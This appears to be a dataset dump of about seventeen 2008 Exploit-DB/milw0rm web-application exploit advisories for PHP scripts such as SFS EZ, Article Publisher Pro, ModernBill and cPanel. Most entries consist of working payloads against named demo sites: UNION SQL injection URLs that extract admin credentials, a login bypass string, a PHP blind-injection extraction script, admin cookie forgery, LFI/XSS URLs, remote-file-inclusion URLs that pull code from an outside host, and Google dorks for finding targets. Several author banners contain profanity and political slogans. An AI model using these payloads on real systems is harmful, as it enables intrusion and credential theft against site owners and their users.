QLWD/code_shield huggingface dataset:
标题: SFS EZ Hot or Not - 'phid' SQL Injection EDB-ID: 6914 CVE: 2008-6776 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: SFS EZ Hot ot Not[viewcomments.php?phid] Remote SQL Injection Vulnerability
       ===============================================================


----------------------------------------------------------------
script : SFS EZ Hot ot Not 

script  :  http://www.scripts-for-sites.info

Risk : High

----------------------------------------------------------------

Discovered by : d3b4g

email : bl4ckend[at]gmail[dot]come

Site. www.bl4ck3nd.info

----------------------------------------------------------------
Exploit demo: http://www.turnkeyzone.com/demos/hot/viewcomments.php?phid=-1+union+all+select+1,concat(password,username),3,4,5,6+from+admin/*


version: http: www.turnkeyzone.com/demos/hot/viewcomments.php?phid=-1+union+all+select+1,@@version,3,4,5,6/*
----------------------------------------------------------------


----------------------------------------------------------------
Greetz: str0ke,,Hotlism.org,All my friends
          
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================

----------------------------------------------------------------

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6914
标题: SFS EZ Webring - 'cat' SQL Injection EDB-ID: 6913 CVE: 2008-6246 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: SFS EZ Webring  [cat] Remote SQL Injection Vulnerability
       ===============================================================


----------------------------------------------------------------
script : SFS EZ Webring 
Risk : High

----------------------------------------------------------------

Discovered by : d3b4g

email : bl4ckend[at]gmail[dot]come

Site. www.bl4ck3nd.info
----------------------------------------------------------------
Vuln:/webring/category.php?cat=[sql]

Demo: http://www.turnkeyzone.com/demos/webring/category.php?cat=-1+union+all+select+1,@@version,3,4,5/*

----------------------------------------------------------------


----------------------------------------------------------------
Greetz: str0ke,All my friends
          
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6913
标题: SFS EZ Software - 'id' SQL Injection EDB-ID: 6915 CVE: 2008-6237 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: -=====================================-
Application : SFS EZ  Software
Risk : High
FOund By: x0r
-=====================================-

Exploit: software/software-description.php?id=-5 union all select
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

Live Demo:
http://www.turnkeyzone.com/demos/software/software-description.php?id=-5%20union%20all%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

-=EOF=-

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6915
标题: Adult Banner Exchange Website - 'targetid' SQL Injection EDB-ID: 6909 CVE: 2008-6101 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: |___________________________________________________
|
|  Adult Banner Exchange Website (targetid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------   IQ-SecuritY  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script  :  http://www.ezonescripts.com/scripts/sls/adultbannerexchange.php
|
| DorK  :  inurl:"click.php?hostid="
|___________________________________________________


Exploit:

www.[target].com/Script/click.php?hostid=1&targetid=-1+union+select+1,version(),user(),4,5--




____________________________( Greetz )_________________________________________
|
|  All members of the Forum IQ-SecuritY  WwW.IQ-ty.CoM | AnD TrYaG  WwW.TrYaG.CC
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|___________________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6909
标题: SFS EZ Affiliate - 'cat_id' SQL Injection EDB-ID: 6911 CVE: 2008-6780 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: SFS EZ  Affiliate [cat_id] Remote SQL Injection Vulnerability
       ===============================================================


----------------------------------------------------------------
Application : SFS EZ  Affiliate
Risk : High

----------------------------------------------------------------

Discovered by : d3b4g

email : bl4ckend[at]gmail[dot]come

Site. www.bl4ck3nd.info
----------------------------------------------------------------

Exploite:http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=[sql]

Version Check:http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=-1+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13+from+links/*

Demo: http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=-1+union+all+select+1,2,concat_ws(password,email),4,5,6,7,8,9,10,11,12,13+from+links/*
----------------------------------------------------------------


----------------------------------------------------------------
Greetz: str0ke,All my friends
          
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6911
标题: SFS EZ Career - SQL Injection EDB-ID: 6919 CVE: 2008-6867 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Sql execution
# Script : SFS EZ Career Remote sql execution
# Home Script : http://www.scripts-for-sites.info/item.php?item=92
# Greetz : Allah , All my freind
##########################################################################


Exploit :

http://localhost/[career]/content.php?topic=user()
http://localhost/[career]/content.php?topic=version()
http://localhost/[career]/content.php?topic=database()
http://localhost/[career]/content.php?topic=id


Demo :
http://www.turnkeyzone.com/demos/career/content.php?topic=id
http://www.turnkeyzone.com/demos/career/content.php?topic=version()
http://www.turnkeyzone.com/demos/career/content.php?topic=user()
http://www.turnkeyzone.com/demos/career/content.php?topic=database()

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6919
标题: ModernBill 4.4.x - Cross-Site Scripting / Remote File Inclusion EDB-ID: 6916 CVE: 2008-5060 2008-5059 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: **************************************************************************************
ModernBill .:. Client Billing System - User Login
ModernBill  <= v4.4.X Remote File Inclusion Vulnerability  and xss by nigh7f411
http://xc0r3.net/
plezz go to ttp://xc0r3.net/forums/
**************************************************************************************

rfi
http://poop.com/include/scripts/export_batch.inc.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/scripts/run_auto_suspend.cron.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/scripts/send_email_cache.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/misc/mod_2checkout/2checkout_return.inc.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/html/nettools.popup.php?DIR=http://xc0r3.net/x2300.txt?

xss
http://poop.com/index.php?op=login&submit=submit&submit=submit&username=111-222-1933email@address.tst&password=111-222-1933email@address.tst&new_language="+onmouseover=alert(39660.2316362732)+/index.php?op=login&submit=submit&submit=submit&username=111-222-1933email@address.tst&password=111-222-1933email@address.tst&new_language="+onmouseover=alert(39660.2316362732)+

**************************************************************************************

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6916
标题: SFS EZ Link Directory - 'cat_id' SQL Injection EDB-ID: 6908 CVE: 2008-6808 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: #######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
# LAHEY mahkemesini kiniyoruz. FUCK THE JUSTICE!
# Hack = Empty W0rk ..
#
# Script : SFS Link Directory
# Price: $ 24.95
# Script Site: http://scripts-for-sites.com/item.php?item=117
#
# D0rk : "sie go. amk iÅŸinizmi yok xD"
# sakalan xD bisuru site var :  inurl:"links.php?ax=list"
#
# SQL Injection Vuln. :
#
# Exploit : SITE.COM/[path]/links.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# Example: http://link.scripts-for-sites.com/links.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# -------------------------------
#                       Ya RAMADHAN
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                      Proud 2 Be ALBANIAN !
#
# bÃ¼tÃ¼n emocu,punkci zartci zurtcularin Aq!  Anti-Tikky.Com anti-tikiyiz xD
#
# ONEMLI Not Expo Bilisimden host almayin. Serefsizler daha sunucu yonetmeyi bilmiyor bide ustune musteriyi keklemeye calisiyo. Yakinda kanitlariyla r10da yayinlicam ;)
# Demistim rezil edicem sizi ;)
#
#######################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6908
标题: SFS EZ BIZ PRO - SQL Injection EDB-ID: 6910 CVE: 2008-6245 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: |___________________________________________________
|
|  EZ BIZ PRO  (track.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------   IQ-SecuritY  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script  :  http://www.scripts-for-sites.info/item.php?item=131
|
| DorK  :  inurl:"track.php?id="
|___________________________________________________


Exploit
________

www.[target].com/Script/track.php?id=-2+UNION+SELECT+concat(username,0x3e,password)+FROM+admin--


Deom
________

http://www.turnkeyzone.com/demos/directory/track.php?id=-2+UNION+SELECT+concat(username,0x3e,password)+FROM+admin--

____________________________( Greetz )_________________________________________
|
|  All members of the Forum IQ-SecuritY  WwW.IQ-ty.CoM | AnD TrYaG  WwW.TrYaG.CC
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|___________________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6910
标题: Article Publisher PRO 1.5 - Authentication Bypass EDB-ID: 6912 CVE: 2008-4901 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# Discovered by : Hakxer
# Type Gap : Bybass Login
# Script : Article Publisher Pro : http://www.phparticlescript.com/
# Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

[~] Go to http://demo-article-publisher-pro.phparticlescript.com/admin/admin.php
[~] Exploit 
[~] In Username Write : admin ' or ' 1=1
[~] In Password Write any thing Example : Hakxer
[~] Click Login ..! Now You Are In admin panel

# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6912
标题: SFS EZ Home Business Directory - 'cat_id' SQL Injection EDB-ID: 6907 CVE: 2008-6783 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: #######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
# LAHEY mahkemesini kiniyoruz. FUCK THE JUSTICE!
#
# Script : SFS Home Business Directory
# Price: $ 24.95
# Script Site: http://scripts-for-sites.com/item.php?item=113
#
# D0rk : "sie go. amk iÅŸinizmi yok xD"
#
# SQL Injection Vuln. :
#
# Exploit : SITE.COM/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# Example: http://homebiz.scripts-for-sites.com/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# -------------------------------
#                       Ya RAMADHAN
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                      Proud 2 Be ALBANIAN !
#
# bÃ¼tÃ¼n emocu,punkci zartci zurtcularin Aq!  Anti-Tikky.Com anti-tikiyiz xD
#
# ONEMLI Not Expo Bilisimden host almayin. Serefsizler daha sunucu yonetmeyi bilmiyor bide ustune musteriyi keklemeye calisiyo. Yakinda kanitlariyla r10da yayinlicam ;)
# Demistim rezil edicem sizi ;)
#
#######################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6907
标题: Article Publisher PRO - 'userid' SQL Injection EDB-ID: 6917 CVE: 2008-4902 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Blind Sql Injection
# Script : Article Publisher Pro : http://www.phparticlescript.com/
# Greetz : Allah , All my freind
##########################################################################

P0c :

http://localhost/contact_author.php?userid=1+and+1=1   true

http://localhost/contact_author.php?userid=1+and+1=0   false

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=1   true

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=0   false

Exploit :

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4   true

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5   false

Demo Test :

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4  true

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5  false

code Exploit :

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      Article Publisher Pro - Blind SQL Injection Exploit    
#
###############################################################
#                                                            
#      Dork:        N/A
#      Usage:       php '.$argv[0].' [Target] [data]
#      Live Demo :
#      =>php '.$argv[0].' http://localhost/contact_author.php?userid=1 user()
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."'+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\n".$argv[2].": ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}

} else {
echo "\nExploiting failed: ar u sur your link have a real id user \n";
}
?>

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6917
标题: cPanel 11.x - Cross-Site Scripting / Local File Inclusion EDB-ID: 6897 CVE: 2008-6927 2008-6926 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ----------------------------------------------------------------

Script : Cpanel 11.x

Type : Local File Inclusion & Cross Site Scripting

Risk : High

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

**** I am 17 Years Old ****

My Official Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Team Members : Khashayar Fereidani - Hadi Kiamarsi - Sina YazdanMehr

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Local File Inclusion Vulnerability :

Note : Rename your shell to config.php and upload with your ftp account in ./ directory .... , now login in cpanel and
       enter vulnerable address in url ....


https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x2/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

----------------------------------------------------------------

Cross site scripting :

File Address : frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrade%20to%201.7.4

Set Action as Upgrade%20to%201.7.4

Vulnerable Variables :

$localapp
$updatedir
$scriptpath_show
$domain_show
$thispage
$thisapp
$currentversion

For Example : https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrade%20to%201.7.4&localapp=%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E


----------------------------------------------------------------

                        Tnx : God

          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6897
标题: SFS EZ HotScripts-like Site - 'cid' SQL Injection EDB-ID: 6903 CVE: 2008-6243 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: Author : TR-ShaRk
Web.: Starhack.us Oldkral.Com
email : admin@tr-shark.org
Exploit:

showcategory.php?cid=-101+union+select+1,@@version,3,4,5--

Demo:

http://www.turnkeyzone.com/demos/software/showcategory.php?cid=-101+union+select+1,@@version,3,4,5--

Greetz: Webloader, Realwolker , Batty , Ceypower , Aranelworm , Nefret , JACKAL , Str0ke

Bunu Da KAbul etmesen ,....

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6903
标题: SFS EZ Gaming Directory - 'cat_id' SQL Injection EDB-ID: 6906 CVE: 2008-6781 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: #######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
# LAHEY mahkemesini kiniyoruz. FUCK THE JUSTICE!
#
# Script :  SFS Gaming Directory
# Price: $ 24.95
# Script Site:  http://scripts-for-sites.com/item.php?item=112
#
# D0rk : "sie go. amk iÅŸinizmi yok xD"
#
# SQL Injection Vuln. :
#
# Exploit : SITE.COM/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# Example: http://game.scripts-for-sites.com/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# -------------------------------
#                       Ya RAMADHAN
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                      Proud 2 Be ALBANIAN !
#
# bÃ¼tÃ¼n emocu,punkci zartci zurtcularin Aq!  Anti-Tikky.Com anti-tikiyiz xD
#
# ONEMLI Not Expo Bilisimden host almayin. Serefsizler daha sunucu yonetmeyi bilmiyor bide ustune musteriyi keklemeye calisiyo. Yakinda kanitlariyla r10da yayinlicam ;)
# Demistim rezil edicem sizi ;)
#
#######################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6906
标题: Absolute NewsLetter 6.1 - Insecure Cookie Handling EDB-ID: 6904 CVE: 2008-6861 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: -=======================================-
Autore: x0r
Cms = Absolute Newsletter 6.1
Bug: Insecure Cookie Handling Vulnerability
-=======================================-


Exploit:
javascript:document.cookie="xlaANLDEMOadmin=lvl=1&userid=1&usr=admin&s=TYPE
A SERIES OF RANDOM NUMBERS AND CHARACTERS HERE; path=/"; and go to
/menu.aspx

Live Demo: http://www.xigla.com/absolutenl/demo

[-] King Lion Gay
[+] Margherita Ti Amo...I'm Sorry...

_EOF_

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6904
标题: Absolute FAQ Manager 6.0 - Insecure Cookie Handling EDB-ID: 6902 CVE: 2008-6854 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: #####################################################################################
# Discovered by : Hakxer                                                            #
# Script : Absolute FAQ Manager http://www.xigla.com/absolutefmnet/demo.htm         #
# Greetz : Allah , All My friend ,www.educ-up.com                                   #
# -------------------------------                                                   #
# Poc :                                                                             #
# javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s=";                   #
#                                                                                   #
# [~] Exploit                                                                       #
#                                                                                   #
# Go To admin login : http://www.xigla.com/absolutefmnet/demo/login.aspx            #
# Execute JS Code : javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s="; #
# Now Go to :http://www.xigla.com/absolutefmnet/demo/menu.aspx                      #
#                             #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )                    #
#####################################################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6902